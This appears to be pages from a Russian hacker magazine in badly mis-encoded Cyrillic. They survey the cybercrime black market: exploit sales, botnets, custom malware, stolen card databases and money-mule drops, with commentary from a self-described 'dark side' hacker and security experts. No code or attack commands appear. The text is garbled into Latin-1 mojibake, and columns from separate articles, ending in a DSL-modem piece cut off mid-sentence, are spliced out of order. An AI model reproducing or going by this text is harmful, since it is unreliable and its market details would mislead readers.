Æåðòâàìè ïðåñòóïëåíèé òàêîãî ðîäà, êàê
ïðàâèëî, ñòàíîâÿòñÿ óçêîñïåöèàëèçèðî-
âàííûå (÷àñòî çàðóáåæíûå) ïðèëîæåíèÿ 
ñ äîðîãîé ëèöåíçèåé. Çäåñü ìû èìååì äå-
ëî ñ ïðîôåññèîíàëàìè, íà êîòîðûõ çàêàç-
÷èêè âûõîäÿò ÷åðåç ôîðóìû èëè IRC-êàíà-
ëû ñîîòâåòñòâóþùåé òåìàòèêè. Öåíà óñëó-
ãè, êàê ïðàâèëî, ñîñòàâëÿåò îêîëî 25% îò
ñòîèìîñòè ñàìîé ïðîãðàììû, êîíå÷íî æå,
ïðè öåíå çà ëèöåíçèþ áîëåå $30.

Åñòåñòâåííî, ÷òî ðåëèçû äëÿ òàêèõ ïðîã-
ðàìì íå ñòàíîâÿòñÿ îáùåäîñòóïíûìè, 
à åñëè è ðàñïðîñòðàíÿþòñÿ, òî òîëüêî ñðå-
äè «ñâîèõ», â ïðèâàòå.

Ñ äðóãîé ñòîðîíû, òå æå ñàìûå ëþäè
ïðèâëåêàþòñÿ ðàçðàáîò÷èêàìè, òîëüêî
íå äëÿ âçëîìà, à äëÿ ñîçäàíèÿ çàùèòû
ïðîãðàììíûõ ïðîäóêòîâ. Ñî âðåìåíåì
ex-crackers ïîëíîñòüþ ïåðåõîäÿò íà
ñâåòëóþ ñòîðîíó ñèëû è, êàê Àëåêñåé
Ñîëîäîâíèêîâ (àâòîð ASProtect), îáåñïå-
÷èâàþò íàäåæíûé ðóáåæ îáîðîíû îò ïî-
ïûòîê èññëåäîâàòü èñïîëíÿåìûé êîä. Òàêîé
âîò êðóãîâîðîò.



íèêàêîãî òðóäà, íî â ðåçóëüòàòå íå áóäåò ïîëó-
÷åíî íèêàêîé èíôîðìàöèè, êîòîðàÿ ïîìîãëà áû
íàéòè çëîóìûøëåííèêà.

óÿçâèìîñòè. Ïðîäàþò òàêæå íàéäåííóþ (è
åùå íåîïóáëèêîâàííóþ) èíôîðìàöèþ îá óÿçâèìîñ-
òÿõ, èëè, êàê èõ åùå íàçûâàþò, ýêñïëîéòàõ (exploits).
Âïåðâûå ñëó÷àè ïðîäàæè óÿçâèìîñòè áûëè çàôèê-
ñèðîâàíû è îôèöèàëüíî îáíàðîäîâàíû åùå â êîí-
öå 2004 ãîäà (èìåþòñÿ â âèäó, êîíå÷íî, îôèöèàëü-
íî îïóáëèêîâàííûå :) — ïðèì. Dr. Klouniz). «Ëàáî-
ðàòîðèÿ Êàñïåðñêîãî» îïóáëèêîâàëà èíôîðìàöèþ
î òîì, ÷òî â ñåðåäèíå äåêàáðÿ 2004 ãîäà çàôèêñè-
ðîâàíà ïðîäàæà ðîññèéñêèìè õàêåðàìè ýêñïëîéòà
äëÿ óÿçâèìîñòè â WMF-ôàéëàõ. Ïåðâîíà÷àëüíî
ýêñïëîéò áûë âûñòàâëåí ïî öåíå $4 òûñ., íî, ïî ñî-
îáùåíèÿì àíîíèìíûõ èñòî÷íèêîâ, â äàëüíåéøåì
öåíó ñíèçèëè äî $200. Ïîçæå ñîîáùàëîñü, ÷òî ïîñ-
ëå ïðîäàæè ýêñïëîéòà ïîÿâèëàñü öåëàÿ ñåðèÿ òðî-
ÿíñêèõ, øïèîíñêèõ è ðåêëàìíûõ ïðîãðàìì, ïîñò-
ðîåííûõ íà ýòîé óÿçâèìîñòè. Ýêñïåðòû ïî áåçî-
ïàñíîñòè óçíàëè îá óÿçâèìîñòè óæå ïîñëå ïðîâå-
äåíèÿ ïåðâûõ óñïåøíûõ àòàê. Òîëüêî òîãäà (!) èí-
ôîðìàöèþ ïåðåäàëè â Microsoft, ÷åðåç íåñêîëüêî
äíåé áûëè âûïóùåíû èñïðàâëåíèÿ äëÿ îøèáêè.

Êàê ïðàâèëî, óÿçâèìîñòè ïðèìåíÿþòñÿ äëÿ
ïîñòðîåíèÿ áîòñåòåé — èíûå öåëè ïðåñëåäóþò ðå-
æå. Òàêàÿ óÿçâèìîñòü ñòîèò íà ïîðÿäîê áîëüøå,
÷åì íåáîëüøàÿ çîìáè-ñåòü, èìåííî ïîòîìó ÷òî
ïîçâîëÿåò ïîñòðîèòü áîëüøóþ áîòñåòü çà êîðîò-
êèé ïðîìåæóòîê âðåìåíè. Óâû, íå êàæäûé, êòî îá-
íàðóæèë óÿçâèìîñòü, ñïåøèò çàÿâèòü î íåé êîìïà-
íèè-ïðîèçâîäèòåëþ èëè âñåìó ìèðó. Åñòü ïðîôåñ-
ñèîíàëû â îáëàñòè ÈÒ, êîòîðûå, ê ñîæàëåíèþ, èñ-
ïîëüçóþò ýòó èíôîðìàöèþ â ñâîèõ êîðûñòíûõ öå-
ëÿõ. Êðîìå òîãî, ÷àñòî óÿçâèìîñòü îáíàðóæèâàåò-
ñÿ èìåííî ïîñëå îñóùåñòâëåíèÿ åå ýêñïëóàòàöèè.
Êîìïàíèè-ïðîèçâîäèòåëè òîæå îòíþäü íå ñïåøàò
îãëàøàòü ïîäîáíûå íàõîäêè. Òàê èëè èíà÷å, íà
ðàçðàáîòêó îáíîâëåíèÿ óõîäèò îïðåäåëåííîå êî-
ëè÷åñòâî âðåìåíè, ïîýòîìó ðåãóëÿðíîñòü îáíîâëå-
íèé íå ñïàñàåò îò ðÿäà óÿçâèìîñòåé, «âàêöèíû» îò
êîòîðûõ åùå íå ñîçäàíî.

Â ýòîé ãðóïïå òîâàðîâ ïîëüçóþòñÿ õîðîøèì
ñïðîñîì ñåðâåðíûå óÿçâèìîñòè, ïðåäíàçíà÷åííûå
äëÿ âûïîëíåíèÿ ïðîèçâîëüíîãî êîäà èëè java-
ñêðèïòà: âçëàìûâàåòñÿ êðóïíûé è ïîñåùàåìûé
ðåñóðñ, äàëåå îí èñïîëüçóåòñÿ äëÿ çàðàæåíèÿ
âñåõ åãî êëèåíòîâ âðåäîíîñíûì ïðîãðàììíûì
îáåñïå÷åíèåì èëè êëèåíòàìè áîòñåòåé. Òàêèì îá-
ðàçîì ïðîèçâîäÿòñÿ àòàêè íà êëèåíòîâ ðåñóðñà.
Îòìå÷ó, ÷òî â ñîâðåìåííîì õàêåðñêîì ìèðå ïî-
äîáíûå ñëó÷àè ñôîðìèðîâàëè öåëóþ òåíäåíöèþ.
Åñëè åùå íåñêîëüêî ëåò íàçàä õîðîøî îïëà÷èâàë-
ñÿ è áûë âîñòðåáîâàí âçëîì êîíêðåòíîãî ñåðâåðà,

ÄÄîîêêóó÷÷ààååââ ÄÄììèèòòððèèéé 
aakkaa FFoorrbb
(ÒÅÌÍÀß ÑÑÒÎÐÎÍÀ)
ÒÐÈÆÄÛ ÊÐÀÑÍÎÇÍÀÌÅÍÍÛÉ ÀÂÒÎÐ
ÆÓÐÍÀËÀ «ÕÀÊÅÐ» È ÂÎÎÁÙÅ 

ÑÒÐÀØÍÛÉ ×ÅËÎÂÅÊ ;)

Íà ÷åðíîì ðûíêå ìîæíî ïðîäàâàòü âñå
÷òî óãîäíî: îò áåçîáèäíûõ áàç ïî êðåäèò-
êàì äî ðåàëüíîãî ïëàñòèêà ñ çàëèòûì íà
íåãî äàìïîì ðàáî÷åé êðåäèòíîé êàðòû.
Ñîîòâåòñòâåííî, äîõîä, êîòîðûé íåëåãàëû
ïîëó÷àþò îò ïðîäàæè íàñòîÿùèõ êàðòî÷åê,
áóäåò íàìíîãî âûøå. Ñàìûå ïîïóëÿðíûå
âåùè äëÿ ïðîäàæè — ñêîðåå, áàçû ïî êðå-
äèòíûì êàðòàì (îäíà êðåäèòíàÿ êàðòà â
ÁÄ ñòîèò $1) è âñÿêèå òðîÿíû, êîòîðûå
çàãðóæàþò íà óÿçâèìûå ñàéòû. Òàêæå åñòü
«÷åðíûå» ïðîãðàììèñòû: îíè ïèøóò ìíî-
ãîêîìïîíåíòíûå ýêñïëîéòû äëÿ ðàçíûõ
îïåðàöèîííûõ ñèñòåì, à çàòåì ïðîäàþò
ñâîè ïðîåêòû ïî ñõîäíîé öåíå (îáû÷íî îò
$200 äî 1000).

Õîçÿåâà áîòíåòîâ ïðåäëàãàþò íå òîëüêî
óñëóãè ïî DDoS-àòàêàì: áîòíåòû ïðåêðàñ-
íî ïðèñïîñîáëåíû äëÿ ñïàìà è àíîíèìíî-
ãî ïðîêñè-ñåðâåðà. Îáÿçàòåëüíî íàéäåòñÿ
ãåíèàëüíûé ïðîãðàììèñò, êîòîðûé íàïè-
øåò öåëûé áîòíåò, à ïðîäóêò ïðîäàäóò ïî
ñõîäíîé öåíå îò $5 000 äî 20 000.

×òî íàñ÷åò ïðîäàæè «æèâîãî» òîâàðà?
Ðàñïðîñòðàíåíà óñëóãà ïî ïðåäîñòàâëåíèÿ
äðîïîâ: èíîñòðàíåö-ïîñðåäíèê âûñûëàåò
òîâàð èëè îáíàëè÷èâàåò êðóïíûé ñ÷åò.
Êðîìå òîãî, òåïåðü íå íóæíî áåñïîêîèòüñÿ
î «ðàçâîäå» ÷åëîâåêà íà íåçàêîííóþ îïå-
ðàöèþ — äðîïîâîä ñäåëàåò âñå ñàì. Êîíê-
ðåòíóþ öåíó çà îäèí äðîï íå óêàçûâàþò,
âñå ðàáîòàþò ïîä ïðîöåíòû îò âûñûëàå-
ìîãî òîâàðà èëè îò îáíàëè÷åííûõ äåíåã.

WWoozz33qqKK
(ÑÂÅÒËÀß ÑÑÒÎÐÎÍÀ)
EX-HACKER (ÍÛÍÅ — ÈÍÔÎÐÌÀÖÈÎÍÍÀß
ÁÅÇÎÏÀÑÍÎÑÒÜ)

Óæå äàâíî êèáåðïðåñòóïíîñòü ïåðåñòàëà
áûòü áàëîâñòâîì è ïåðåìåñòèëàñü â áèç-
íåñ. Âñå áîëüøå ìîëîäûõ ëþäåé êîíöåíò-
ðèðóþò ñâîè íàâûêè è óìåíèÿ â ïðåñòóïëå-
íèÿõ ýòîé ñôåðû. Íà ñàìîì äåëå íåìíîãèå
èç íîâîèñïå÷åííûõ õàêåðîâ ñîâåðøàþò
ïðåñòóïëåíèÿ ðàäè ñëàâû — âñå áîëüøå è
áîëüøå ìîëîäûõ ëþäåé ïûòàþòñÿ áûñòðî
íàæèòüñÿ, íà ÷òî èõ ïîäòàëêèâàåò íèçêàÿ
îïëàòà çíàíèé: ìíîãèå ñïåöû ðàáîòàþò
ïðîñòûìè àäìèíàìè è ñèñòåìîòåõíèêàìè,
ñïåöèàëèñòû âûñîêîãî óðîâíÿ ìàëî âîñ-
òðåáîâàíû.

×òî êàñàåòñÿ äàííûõ, ïðèâåäåííûõ â
ñòàòüå... Äåéñòâèòåëüíî DDoS ïðîöâåòàåò,
íî çäåñü áûëè óêàçàíû íåñêîëüêî çàâû-
øåííûå ñóììû çà DDoS êðóïíûõ ïîðòà-
ëîâ. Êîëè÷åñòâî õàêåðñêèõ ãðóïï íàìíîãî
áîëüøå, ÷åì óêàçàíî: ãðóïïèðîâîê, êîòî-
ðûå ðàáîòàþò «ïî-êðóïíîìó», ìîæåò áûòü,
äåéñòâèòåëüíî øåñòü-âîñåìü, íî ãðóïïû
íå ñòðåìÿòñÿ çàñâåòèòü ñåáÿ è, ñîîòâåò-
ñòâåííî, î íèõ ìàëî êòî çíàåò. Îäíàêî
ãðóïï ñðåäíåãî çâåíà, íå ìåíåå îïàñíûõ,
íàñ÷èòûâàåòñÿ îêîëî 40. Íå ñòîèò çàáû-
âàòü è î âîëêàõ-îäèíî÷êàõ, èõ íåìàëî.
Ïëàíêó «õàêåðû ñ 20-òè ëåò» ÿ áû îïóñòèë
íà äâà ãîäà.

Óïîìÿíó åùå îäèí âèä ïðåñòóïíîñòè —
ïîðíî â ñåòè. Ñîâðåìåííûé ïîðíîáèçíåñ â
Ñåòè ñòðåìèòåëüíî ðàçâèâàåòñÿ, çàðàáà-
òûâàåò íåìàëûå äåíüãè, è èìåííî ïîðíîáà-
ðîíû ñâÿçàíû ñ ëüâèíîé äîëåé çàêàçîâ íà
âçëîì :) — óêðàñòü âûãîäíåå, ÷åì ïëàòèòü.

Ìåæäó ïðî÷èì, òàêîé ñïîñîá çàðàáîòêà
îïàñåí, ìíîãèå ñîâñåì þíûå ïàðíè ïîïà-
äàþò â ðóêè óïðàâëåíèÿ «Ê». Ëþáàÿ ïðè-
÷àñòíîñòü â áóäóùåì ïîâëèÿåò íà òðóäî-
óñòðîéñòâî è ìîæåò êàðäèíàëüíî èçìå-
íèòü æèçíü â õóäøóþ ñòîðîíó. Òàê ÷òî 
ÿ áû ïîñîâåòîâàë èñêàòü ÷åñòíûé çàðà-
áîòîê, ÷òîáû íå èäòè íà ðèñê ïîòåðÿòü
áîëüøå, ÷åì íàæèë.

Êîëè÷åñòâî ïïðåñòóïëåíèé, ññîâåðøåííûõ ââ ÐÐîññèè ççà ïïîñëåäíèå òòðè ããîäà ((ïî ääàííûì ÃÃÈÑ ÌÌÂÄ)

2 0 0 3 2 0 0 4 2 0 0 5

Êîëè÷åñòâî ïðåñòóïëåíèé 7053 13723 14810
Ïðèðîñò ïî îòíîøåíèþ ê ïðåäûäóùåìó ãîäó, % 94,6 11,7



òî ñåé÷àñ ïðîèçîøëî ñìåùåíèå ê àòàêàì íà êëè-
åíòà, à âçëîì ñåðâåðîâ, êàê ïðàâèëî, îòîäâèãàåò-
ñÿ íà ïðîìåæóòî÷íûé ýòàï.

âðåäîíîñíîå ïïðîãðàììíîå îîáåñïå÷åíèå. Âè-
ðóñû, øïèîíñêèå ïðîãðàììû èëè êëèåíòû áîòñå-
òåé ïðåäñòàâëÿþò ðÿä ïðîãðàìì, êîòîðûå ïðåâ-
ðàùàþò êîìïüþòåð â «çîìáè». Èíòåðíåò äàâíî
çàâàëåí âñåâîçìîæíûì âèðóñíûì è øïèîíñêèì
ïðîãðàììíûì îáåñïå÷åíèåì, ðàñïðîñòðàíÿå-
ìûì ñîâåðøåííî áåñïëàòíî. Òî æå ñàìîå îòíî-
ñèòñÿ ê êðýêàì. Ïîäàâëÿþùåå áîëüøèíñòâî ïðî-
äàâöîâ íåëåãàëüíûõ êîïèé ïîëó÷àþò ãåíåðàòî-
ðû êëþ÷åé è ïðîãðàììû äëÿ âçëîìà èìåííî èç
èíòåðíåòà. Îäíàêî ñïåöèôè÷åñêîå è íå ìàññî-
âîå ïðîãðàììíîå îáåñïå÷åíèå òðåáóåò óíèêàëü-
íîãî ïîäõîäà, ïîýòîìó ïðèâëåêàåò óñëóãè ïðî-
ôåññèîíàëüíûõ ïðîãðàììèñòîâ, íàïðàâëåííûå
íà âçëîì ïðîäóêòà.

Â áîëüøåé ñòåïåíè ðàñïðîñòðàíåíà ðàçðà-
áîòêà è ïðîäàæà øïèîíñêîãî è âðåäîíîñíîãî ïðîã-
ðàììíîãî îáåñïå÷åíèÿ ñ öåëüþ åãî ïðîäàæè. Íà
ñîîòâåòñòâóþùèõ óñëóãàõ äàæå ñïåöèàëèçèðóþòñÿ
ïðîãðàììèñòû è èõ ãðóïïû. Ïðîôåññèîíàëüíûå
ïðîãðàììû, ðàçðàáîòàííûå íà çàêàç, óíèêàëüíû è
èõ âîçäåéñòâèå ãàðàíòèðîâàííî, ïîýòîìó è ïðåäñ-
òàâëÿåò öåííîñòü: åñòü ãàðàíòèÿ òîãî, ÷òî àíòèâè-
ðóñíûå ïðîãðàììû è ñèñòåìû ïîâåäåí÷åñêîãî
àíàëèçà íå îáíàðóæàò òàêîé ïðîäóêò, â òî âðåìÿ
êàê î øèðîêî èçâåñòíûõ è ðàñïðîñòðàíÿåìûõ
áåñïëàòíî ïðîãðàììàõ ïî÷òè âñåãäà î÷åíü áûñòðî
îñâåäîìëÿþòñÿ ïðîèçâîäèòåëè àíòèâèðóñíîãî
ïðîãðàììíîãî îáåñïå÷åíèÿ. Ïðîäàåòñÿ, åñòåñò-
âåííî, íå èñõîäíûé êîä òàêîé ïðîãðàììû, à ñòàòè-
÷åñêèé «áèëä» (build) — ïðîãðàììíûé êîä, ñêîìïè-
ëèðîâàííûé ñïåöèàëüíî â ñîîòâåòñòâèè ñ íóæäàìè
êëèåíòà è èìåþùèé âîçìîæíîñòè, âñòðîåííûå â
ïðîãðàììó ïî òðåáîâàíèþ çàêàç÷èêà, íàïðèìåð
IRC-êàíàë, íîìåð ïîðòà, ïðîòîêîë, ÷åðåç êîòîðûé
ïðîèñõîäèò óïðàâëåíèå è ò.ï.

áàçû ääàííûõ. Ñïðîñîì ïîëüçóþòñÿ è âñåâîç-
ìîæíûå áàçû äàííûõ — îò ÁÄ õîñòèíãîâûõ êîìïà-
íèé äî ôèíàíñîâûõ ÁÄ, â òîì ÷èñëå ñïèñêè òîðãî-
âûõ è E-Bay-àêêàóíòîâ. Â îáùåì, ïðîäàåòñÿ âñÿ
èíôîðìàöèÿ, êîòîðóþ ïåðåêóïÿò çàèíòåðåñîâàí-
íûå ëþäè èëè êîòîðîé âîñïîëüçóþòñÿ ìîøåííèêè.
Åæåìåñÿ÷íî âîçðàñòàåò êîëè÷åñòâî ìîøåííè÷åñ-
êèõ îïåðàöèé, ïîñòîÿííî ïîÿâëÿþòñÿ âñå íîâûå è
íîâûå ñõåìû, îíè ýâîëþöèîíèðóþò î÷åíü áûñòðî.
Ïîêóïêà áàçû îáõîäèòñÿ â ñàìûå ðàçíûå ñóììû
(îò 50-òè äî íåñêîëüêèõ òûñÿ÷ äîëëàðîâ) è çàâèñèò
îò âîñòðåáîâàííîñòè äàííûõ, êîëè÷åñòâà ïîòåíöè-
àëüíûõ ïîêóïàòåëåé, óíèêàëüíîñòè è ðèñêà, ñâÿ-
çàííîãî ñ ïîëó÷åíèåì äîñòóïà ê èíôîðìàöèè. ÁÄ
ñáûâàþòñÿ èñêëþ÷èòåëüíî ÷åðåç öåïî÷êè ïîñðåä-
íèêîâ, ïðè÷åì ÷àñòî ïðîäàâöû ñòðåìÿòñÿ ìèíèìè-
çèðîâàòü ëè÷íûé êîíòàêò ñ ïîêóïàòåëåì, ïîýòîìó
èñïîëüçóþò ýëåêòðîííûå ñïàì-ðàññûëêè. Íàâåð-
íÿêà òû íå ðàç ïîëó÷àë ñïàì-ïèñüìà: «Ïðîäàåòñÿ
áàçà. Âñåãî çà $50-300».

Òàêîâ íà ñåãîäíÿøíèé äåíü îñíîâíîé òîâàð
ýòîãî ðûíêà. Òåïåðü íåñêîëüêî ñëîâ îá ó÷àñòíèêàõ.

ó÷àñòíèêè. Èíòåðåñíî, ÷òî ðàññìàòðèâàå-
ìûé íàìè ðûíîê äîñòàòî÷íî çàìêíóò, îñíîâíûì
ïîòðåáèòåëåì è ïðîèçâîäèòåëåì áîëüøèíñòâà
åãî òîâàðîâ è óñëóã ñòàíîâÿòñÿ ïðîôåññèîíàëû â
îáëàñòè ÈÒ. Åùå èíòåðåñíåå òî, ÷òî íà «òåíå-
âîì» ÈÒ-ðûíêå ìàõðîâûì öâåòîì öâåòåò ìîøåí-
íè÷åñòâî è îáìàí ìåæäó ó÷àñòíèêàìè. Èìåííî
ïîýòîìó ïðîôåññèîíàëüíûå «äîáðîñîâåñòíûå»
ó÷àñòíèêè ðûíêà ñîçäàþò white- è black-ëèñòû —
ñïèñêè «÷åñòíûõ» è íåäîáðîñîâåñòíûõ ïðîèçâî-
äèòåëåé òîâàðîâ è óñëóã.

Êñòàòè î ëþäÿõ. Ïî äàííûì óïðàâëåíèÿ
«Ê», òèïè÷íàÿ ëè÷íîñòü êèáåðïðåñòóïíèêà âûã-
ëÿäèò ñëåäóþùèì îáðàçîì: ëèöî îò 20-òè äî 35-
òè ëåò, èìååò âûñøåå îáðàçîâàíèå è ïîñòîÿííóþ
ðàáîòó. Ñîãëàñíî òîé æå ñòàòèñòèêå, áîëåå 2/3
ïðåñòóïëåíèé, â êîòîðûõ ïðèìåíÿþòñÿ èíôîðìà-
öèîííûå òåõíîëîãèè, ñîâåðøàþò ñîòðóäíèêè,
ñîñòîÿùèå â ïîòåðïåâøåé îðãàíèçàöèè, èëè
áûâøèå ðàáîòíèêè.

ïðîèçâîäèòåëè. Ëîãè÷íî áûëî áû ðàçäåëèòü
èõ íà äâå ãðóïïû: ïðîôåññèîíàëû è ëþáèòåëè.

Ïðîôåññèîíàëû — ýòî ãðóïïà õîðîøî ïîäãî-
òîâëåííûõ ñïåöèàëèñòîâ, îáëàäàþùèõ õîðîøèìè
çíàíèÿìè è ïðàêòè÷åñêèìè íàâûêàìè â îáëàñòè
èíôîðìàöèîííîé áåçîïàñíîñòè è êîìïüþòåðíûõ
ñèñòåì. Ïðåäñòàâèòåëè ýòîé ãðóïïû íå çàèíòåðå-
ñîâàíû â çàâîåâàíèè ñëàâû, ïðàçäíîå ëþáîïûò-
ñòâî íå ñâîéñòâåííî èì. Èõ åäèíñòâåííûé ìîòèâ —
ïîëó÷åíèå äåíåã. Ïðîôåññèîíàë íàðóøàåò çàêîí,
÷òîáû çàðàáîòàòü íà õëåá.

Îöåíèòü êîëè÷åñòâî ÷ëåíîâ ýòîé ãðóïïû
ñëîæíî. Â Ðîññèè, ïî îöåíêàì ýêñïåðòîâ êîìïàíèè
«Èíôîðìçàùèòà», äåéñòâóåò ïðåäïîëîæèòåëüíî
øåñòü-âîñåìü âûñîêîïðîôåññèîíàëüíûõ ãðóïï.

Ëþáèòåëè — ìàëîîïûòíûå ëþäè, èíîãäà
ñòóäåíòû è ïîäðîñòêè — ðóêîâîäñòâóþòñÿ ñàìû-
ìè ðàçíûìè ìîòèâàìè, ÷àñòî ïðîñòî ïûòàþòñÿ
çàÿâèòü î ñåáå èëè «ïîøàëèòü». Èìåííî îíè ñîñ-
òàâëÿþò îñíîâíîé ïðîöåíò ïîéìàííûõ êèáåð-
ïðåñòóïíèêîâ.

ïîòðåáèòåëè ððûíêà äîñòàòî÷íî ðàçíîøåð-
ñòíû. Êàê óæå óêàçûâàëîñü, ïîòðåáèòåëÿìè ÿâëÿ-
þòñÿ â îñíîâíîì ïðîôåññèîíàëû â îáëàñòè èí-
ôîðìàöèîííûõ òåõíîëîãèé (êàðäåðû, ñïàììåðû,
ïèðàòû è ò.ä.). Îäíàêî êîíå÷íûìè çàêàç÷èêàìè íå-
êîòîðûõ óñëóã ÷àñòî ñòàíîâÿòñÿ ëþäè, ñîâåðøåííî
íå ñîîòâåòñòâóþùèå ñòàòóñó ÈÒ-ñïåöèàëèñòà («Çà
âàøè äåíüãè èñïîëíèì ëþáîé âàø êàïðèç»).

Ìîòèâû ïîòðåáèòåëåé òàêæå ðàñïàäàþòñÿ íà
ñàìûé øèðîêèé ñïåêòð: ÷àùå âñåãî êîðûñòü, æå-
ëàíèå çàðàáîòàòü ìîøåííè÷åñòâîì èëè ïîëó÷åíè-
åì ïðåèìóùåñòâà â êîíêóðåíòíîé áîðüáå. Ñîâñåì
èíàÿ ñèòóàöèÿ — æàæäà ñëàâû èëè ìåñòè, íåîáõî-
äèìîñòü â îáåñïå÷åíèè àíîíèìíîñòè

P.S. È ñíîâà — îò ðåäàêöèè :). Òî, ÷òî çàêàç÷è-
êàìè óñëóã ÷àùå ñòàíîâÿòñÿ ëþäè, áëèçêèå ê IT, âñå-
òàêè âåðîÿòíåå. Êîíêóðåíòû DDoS’ÿò êîíêóðåíòîâ,
êàðäåðû ïðèêóïàþò êàðòîí ó êàðäåðîâ, õàêåðû òîëêà-
þò áàçû êàðäåðàì... È ïðî÷èé êðóãîâîðîò â ïðèðîäå.
Â îáùåì, ìû çà ñâåòëóþ ñòîðîíó ñèëû :) 
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ÀÀííääððååéé
ÑÑååììååííþþ÷÷ååííêêîî
(ÑÂÅÒËÀß ÑÑÒÎÐÎÍÀ)
ÝÊÑÏÅÐÒ ÏÎ ÈÍÔÎÐÌÀÖÈÎÍÍÎÉ
ÁÅÇÎÏÀÑÍÎÑÒÈ

Áåçóñëîâíî, ÷èñëî IT-ïðåñòóïëåíèé ïîñòî-
ÿííî ðàñòåò. Êîíå÷íî, ðåàëüíîå êîëè÷åñò-
âî ïðàâîíàðóøåíèé ãîðàçäî áîëüøå îôè-
öèàëüíî çàðåãèñòðèðîâàííûõ, õîòÿ áû ïî-
òîìó ÷òî ìíîãèå æåðòâû ïðîñòî íå õîòÿò
àôèøèðîâàòü ôàêò âçëîìà — íèêòî íà
ñòàíåò êîìïðîìåòèðîâàòü ñàìîãî ñåáÿ. Êè-
áåðïðåñòóïíîñòü ñòàëà óäåëîì ïðîôåññèî-
íàëîâ, à íå ëþáèòåëåé, ïîýòîìó îíà è
ïðîöâåòàåò. Êðîìå òîãî, ñåé÷àñ ìû èìååì
äåëî íå òîëüêî ñ âûñîêîêâàëèôèöèðîâàí-
íûìè ñïåöèàëèñòàìè, íî è ñ ÷åòêîé îðãà-
íèçàöèåé ïðîöåññà ïðåñòóïëåíèÿ. Âîò
òîëüêî íåêîòîðûå öèôðû. Çà 2004-2005
ãîäû áûëî àðåñòîâàíî íåñêîëüêî äåñÿòêîâ
õàêåðñêèõ ãðóïï, â ñóììå — 100 ÷åëîâåê.
Ïî äàííûì îðãàíèçàöèè Computer
Economics, óùåðá, íàíåñåííûé ìèðîâîé
ýêîíîìèêå òîëüêî â 2005 ãîäó, ñîñòàâèë
áîëåå $20 ìëðä.

Îäíàêî óáåðå÷üñÿ îò àòàê èçâíå âñå-òàêè
ìîæíî. Ïðîñòûå ïîëüçîâàòåëè äîëæíû
ñîáëþäàòü ýëåìåíòàðíûå ìåðû áåçîïàñ-
íîñòè è íå ñîáëàçíÿòüñÿ õàëÿâîé! 90% êðý-
êîâ ñîäåðæàò òðîÿíû, à ìíîãèì âëàäåëü-
öàì ïîðíîñàéòîâ íóæíû íå ïàðøèâûå äâà
äîëëàðà ïîñåòèòåëÿ, à äàííûå êðåäèòíîé
êàðòû, ñ ïîìîùüþ êîòîðûõ îí âûòÿíåò âñå
åå ñîäåðæèìîå. Íå çàáóäåì, ÷òî çàùèòà
äîëæíà áûòü êîìïëåêñíîé. Ïîìíè î ìî-
áèëüíûõ ðåøåíèÿõ! ×àñòî ïîëó÷àåòñÿ òàê,
÷òî ïîëüçîâàòåëü ñìàðòôîíà íà÷èíàåò ïî-
äóìûâàòü îá óñòàíîâêå àíòèâèðóñà òîëüêî
ïîñëå òîãî, êàê åãî ëþáèìåö âäðóã ñòàë
çâîíèòü ñàì ïî ñåáå ïî ñîâåðøåííî «ëå-
âûì» òåëåôîííûì íîìåðàì.





Äîïóñòèì, ìû èìååì êà÷åñòâåííûé, ïðàâèëüíî ïîä-
êëþ÷åííûé è íàñòðîåííûé DSL-ìîäåì, ðàáîòàþùèé
íà ïðåäåëå ñâîèõ âîçìîæíîñòåé. Ìîæåì ëè ìû ðà-
çîãíàòü åãî, óâåëè÷èâ ïðîïóñêíóþ ñïîñîáíîñòü õîòÿ
áû íà òðåòü? Îòâåò îòðèöàòåëüíûé! Åñëè áû â ñàìîì
äåëå òàêîå áûëî âîçìîæíî, ïðîèçâîäèòåëè ñäåëàëè
áû ýòî çà íàñ! Îäíàêî DSL-ìîäåì, ñòàáèëüíî ðàáî-
òàþùèé íà «ïàñïîðòíîé» ñêîðîñòè, — äîñòàòî÷íî
ðåäêîå ÿâëåíèå, åñëè íå ñêàçàòü «óíèêàëüíîå». Ìî-
äåìó ïðèõîäèòñÿ ðàáîòàòü â ñóðîâûõ óñëîâèÿõ äèêîé
ïðèðîäû, ñðàæàÿñü ñ ïîìåõàìè, êðèâûìè íàñòðîéêà-
ìè è ïðî÷èìè ïîðîæäåíèÿìè õàîñà è ýíòðîïèè.

Åñëè ðåàëüíàÿ ñêîðîñòü ðàáîòû íå ñîîòâåò-
ñòâóåò ðàñ÷åòíîé, íåîáõîäèìî ïðîàíàëèçèðîâàòü ñè-
òóàöèþ, íàéòè, ãäå çàðûòà ñîáàêà, è îòêîïàòü åå êî
âñåì ÷åðòÿì! Â íàñòîéêå DSL-ìîäåìîâ â ñàìîì äåëå
ïðèñóòñòâóåò î÷åíü ìíîãî ÷åðíîé ìàãèè, íå îïèñàí-
íîé íè â ñîïðîâîäèòåëüíîé èíñòðóêöèè, íè â äîêó-
ìåíòàöèè. Ìàãè÷åñêèå çàêëèíàíèÿ ðàññåÿíû ïî âñå-
ìó èíòåðíåòó, è ÷òîáû ñîáðàòü ñàêðàëüíûå çíàíèÿ
âîåäèíî, íóæíî î÷åíü ìíîãî áëóæäàòü â òåìíîòå…

Âíóøèòåëüíàÿ êîëëåêöèÿ ïîëåçíûõ ñîâåòîâ
ëåæèò íà http://spblan.narod.ru, à íà www.adslnet.ru/commu-

nity.php íàõîäèòñÿ ëó÷øèé òåõíè÷åñêèé ôîðóì, ïî-

ñâÿùåííûé ïðîáëåìàì íàñòðîéêè DSL-ìîäåìîâ è
ïðî÷åãî êîììóíèêàöèîííîãî îáîðóäîâàíèÿ äàííî-
ãî òèïà. Òàì æå âûëîæåíû ññûëêè íà äðóãèå ðå-
ñóðñû ñõîäíîé òåìàòèêè. Êàê ãîâîðèòñÿ, äîðîãó
îñèëèò èäóùèé, à ìû òåì âðåìåíåì âîçüìåì íàø
ìîäåì â ðóêè è ïîñìîòðèì, ÷òî òàêîãî ìîæíî ñî-
òâîðèòü ñ íèì. Çàðàíåå ïðåäóïðåæäàþ: áóäåò
î÷åíü õîðîøî, åñëè ìîäåì âîîáùå íå ïåðåñòàíåò
ðàáîòàòü. Øóòêà! Ðàññëàáüòåñü! Íàøè ýêñïåðè-
ìåíòû àáñîëþòíî áåçîïàñíû!

â êêîðîáêå ññ DDSL-ììîäåìîì îáû÷íî ïðèñóò-
ñòâóåò ìàëåíüêàÿ ïðÿìîóãîëüíàÿ øòó÷êà (èíîãäà
âñòðîåííàÿ â ñàì ìîäåì) ñ òðåìÿ âûõîäàìè, êîòî-
ðûå îáîçíà÷àþòñÿ êàê LINE, PHONE è MO-
